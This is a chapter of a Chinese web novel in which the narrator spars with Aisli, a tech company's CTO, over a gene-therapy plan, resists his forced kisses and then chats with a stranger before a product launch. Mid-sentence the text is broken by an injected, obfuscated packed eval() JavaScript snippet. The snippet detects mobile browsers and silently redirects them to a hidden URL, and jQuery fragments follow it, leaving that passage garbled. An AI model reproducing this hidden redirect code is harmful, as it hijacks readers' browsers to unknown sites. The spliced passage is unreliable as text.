做完全部护肤流程,我对镜自观了一下,好像皮肤白皙度确实上了一层次,光滑程度也好像变细腻了些,感觉怪怪的,没什么大用。
我又想到,艾斯利早早开始准备化妆,是不是也有这些流程?我要看看他被化成什么样了!
我兴致勃勃地去找,刚走到化妆间附近,就听到艾斯利在念:“新星计划,创造1.26万个新岗位,员工平等,待遇公正。失业潮的应对措施……”
我还想听艾斯利接下来会念什么,没想到突然没声了:“亲爱的,我知道你在那里,不用听,你可以直接过来看。”
他怎么发现我的?Ctos告状?我有些纳闷,还是掀起帘子:“天才也要提前背演讲词?”
“不是演讲词,是发布会从头到尾的内容大纲,包括回答社会上一直以来对布鲁姆公司的一些疑问。”
我拿起提词本看了眼,用的词汇都相当简洁。一些产品数据、专有名词,最显眼的事一连串地名,用脚趾头欧能猜出来这就是下一年度新增的数据中心地址,西奥终究是分到了一座,不枉费铃木鹤林那么努力的奔走,也不知付出了什么代价。
产品介绍完,下面是一些就业数据、生产计划,重点介绍了一项与医学界、法师合作推出的基因治疗计划,似乎能解决亚种人不稳定的动物化表征突显症状,此项目的益处还能有效延长患者的寿命。
布鲁姆真的有那么好心?和基因实验扯上关系,我就想起在岛上时司长与金发老头的谈话,他们好像在筹划一场专门针对亚种人基因的瘟疫,但是没有得到先知的许可,应该暂时还能压下来。现在布鲁姆又整这种活……暗地里是不是还在准备着见不得光的手段?
“亲爱的,你有哪些看不明白?”
我看看化妆间四周,化妆师团队不知道什么时候都出去了,就剩我们两个人。
我将提词本转给他看,指着医疗计划问:“布鲁姆真的有那么好心?”
“虽然你总是把布鲁姆想的很坏,但是有一点我要说明,公司经常做慈善的。”艾斯利微笑着说,“经过ctos大数据分析,亚种人群体高发敏感、抑郁、躁狂等心理疾病,这与他们的动物化特征脱不开关系,不仅会影响到周围环境的评价,还会带来切实上的生理痛苦、生活上的种种不便。就比如……你的那位保镖先生一样。亚种人的动物化特征还会随机增长、变异。这项计划的最终目的,是降低亚种人的基因突变率,提高稳定性,确保亚种人不会因为情绪与魔力的波动突然开始大幅度狂化,这有助于他们保持良好的心态继续生活。”
艾斯利一口气说了这么多,喝了口水润润嗓子:“现在海德伦医药公司已经研发出了初步药剂,它可以有效克制亚种人死亡后的形体溃败现象,让生者以体面、尊严的方式逝去。”
艾斯利还真有演讲天赋,我被他说得有些动摇,不过我仍觉得这项计划疑点重重:“实验者是怎么找来的?”
艾斯利一摊手:“当然是花钱招募了,亚种人死后的形体溃败是突发性衰亡才会出现的,没法人工控制。”
“那你们怎么确保实验者会突发性衰亡?”
“这个是有迹可循的,患者自己会有直觉感应,只是不知道具体会何时到来,自觉符合条件的亚种人想死后也能为子女留下一笔财产,很正常不是吗?”
我还是有种说不上来的感觉,诚然艾斯利说的一切都是合法的,但我总觉得结果目的是为了违法,以后有机会还是要多观察观察——“发布会什么时候开始?”
艾斯利抬手看了下手表:“晚上七点半,大约会开两个小时左右。”
“还要等那么久?”
艾斯利抬抬下巴:“也是为了让妆氧化得更自然一点。”
我横竖上下打量艾斯利,艾斯利的穿着打扮和日常几乎无异。只不过把黑框眼睛换成了金丝半框,灰色v领针织衫内里白色衬衣打底,普通的卡其色工装长裤松松垮垮,裤脚耷拉在黑白色的运动鞋面上,非常休闲的装束,如果不是化妆后有点过于惨白的脸色,艾斯利这一身真像刚从象牙塔走出来的青春男大学生。
“……我还以为你会穿什么高级手工制造的定制西装。”
“做科技这一行最重要的是接近消费者喜欢的形象,轻松、日常、便于行动,这才能让消费者更有亲民感,一身严谨西装是投资者才喜欢的,我也不爱穿那个。”
“真有人信你能亲民?他们连你办公室的门都不知道在哪。”
艾斯利意味深长地笑:“怎么会不信呢,我的人气在社交媒体上还可以的,你该不会还不知道我的公开账号有多少粉丝吧?”
“我不想看。”我扭头,看镜子,镜子正好能照到艾斯利那边,他低头划拉了两下手表:“这是我的私人账号。”
他过来抓我的手,我还没来得及拒绝,自己终端滴的一声,跳出“你有新的好友申请”通知,一下我就如吃了苍蝇般恶心,刚想叉掉,艾斯利就抢先点了同意,我气急败坏:“你以为我不会拉黑你吗!”
“你可以试试能不能拉黑我。”艾斯利还在笑,我没忍住,一拳打过去,艾斯利轻松闪躲,还得寸进尺地靠过来,神色忽然变得异常认真:“贝纳尔,到现在为止,我对你都是坦诚的,你可以少一点对我的偏见么?”
他的呼吸凑得太近,我撇过头:“你是布鲁姆公司的CTO,布鲁姆干了多少缺德事你自己清楚。”
“可那些并不是由我决定的,别忘了,公司内部有很多部门,硬要说起来的话,CEO对你说的那些恶事才该负主要责任。技术本身是无罪的,就像武器一样,决定武器射杀谁的是人。”
“你在甩锅!”
“你非要这么想,我真的难以说服你了。不过今天是个值得高兴的好日子,我们能别把时间浪费在争吵辩论这种小事上,行吗,亲爱的?”
艾斯利又来亲我,一亲我就起反应。想到艾斯利涂了口红抹了城墙一样厚的粉凑到我脸上亲,我就恶心,偏偏他的力气比我大得多,我只能狂挠他背,忽然熟悉的ctos声音响起:“艾斯利先生,你的衣服破了,建议更换。”
Ctos这句话真救了我的命,艾斯利真的放开我了,出去找化妆团队换衣服。ctos蜜蜂安静地待在不远处的桌上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287534|162360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我拿起它拍了拍,心里说不出的难过。而ctos只用了一句话就把我的难过情绪抚平了:“贝纳尔,观众席正在陆续入座宾客,第五排第三列是一个无人空座。”
我立刻抱着ctos跑路,这地方真不能待,我怀疑再待下去艾斯利敢在发布会开始前再度□□我,溜到大庭广众之下他就骚扰不了我了。
观众席确如ctos所说,已经陆陆续续落座了许多人,大多穿着正装或礼服,与那些宾客擦肩而过时闻得到奇妙好闻的香气,偶尔一个瞥视都能让我浑身难堪,毕竟我的着装此刻与他人比较起来确实格格不入,像逃票混进来的。
我强行镇定地找到ctos为我指示的座位,这里确实空的,隔壁也没有来人,我把ctos摆在腿上,好像装备一副盔甲,打字和ctos沟通:“ctos,一会不会有人来赶我走吧?”
“不会的,没有人敢驱逐你。”
“那其他人呢?我总感觉他们在偷偷看我。”
“他们可能认为您的穿着打扮这是一种行为艺术,不会有人怀疑布鲁姆的安检能力。”
行为艺术真是个万能借口,我放心了,开始玩小游戏以打发时间,玩了两局,中途感觉到隔壁座位来人了也没抬头。直到ctos提醒我邻座的男士正在试图向我搭话,我才发觉他已经说了好几句“你好”了。
“啊,不好意思,刚才我正在打游戏,有点太入迷了,不好意思。”我连连致歉,这隔壁坐的是谁我也认不出来,打招呼就完事了。
男士微笑着说:“我看您有点陌生,是买票进来的观众吗?”
“嗯,是。”
“买这里的票可不容易呢,据说这次票一上架,一秒钟就抢光了。”
我勉强接着话:“很多都是脚本抢的嘛,人抢不过机器。”
“您是怎么拿到票的?”
“我运气好。”
一通干巴巴的对话下来,我真是如坐针毡,不是一个阶层的人根本聊不到一块去,不过想到这里可以远离艾斯利,我心里又觉得舒服多了。
我看了下时间,离发布会正式开始还有半小时,说长不长说短不短,我想小睡一会,身边的男士忽然说:“抱歉,能冒昧询问,您究竟从事哪个行业吗?”
“嗯?”我一下愣住了,男士解释说:“我对您很感兴趣,在我的印象里,众多与布鲁姆密切相关的人士里我不记得有您,还是说,您是艾斯利先生的情人?”
不是,他怎么猜的?!我毛都竖起来了,男士看我的反应顿时笑了出来:“看来我猜对了,其实不难推理,您身上有艾斯利先生常用的香水气味,而且您嘴上的口红印还没抹掉呢。”
我一抹发现还真是的,嘴巴一擦手背就能擦出淡淡的红痕,瞬间龇牙咧嘴起来,隔壁男士很贴心地送来一抽湿纸巾:“擦擦吧。”
我用湿纸巾擦遍脸、脖子、下巴还有手背,一张不太够,男士还给了我第二张,我只来得及道谢,使劲擦擦,确保自己身上没再粘上一点粉末,捏着两坨纸不知该丢哪里的时候,又是好心的邻居给我解围:“丢我这里吧,我有咖啡纸袋。”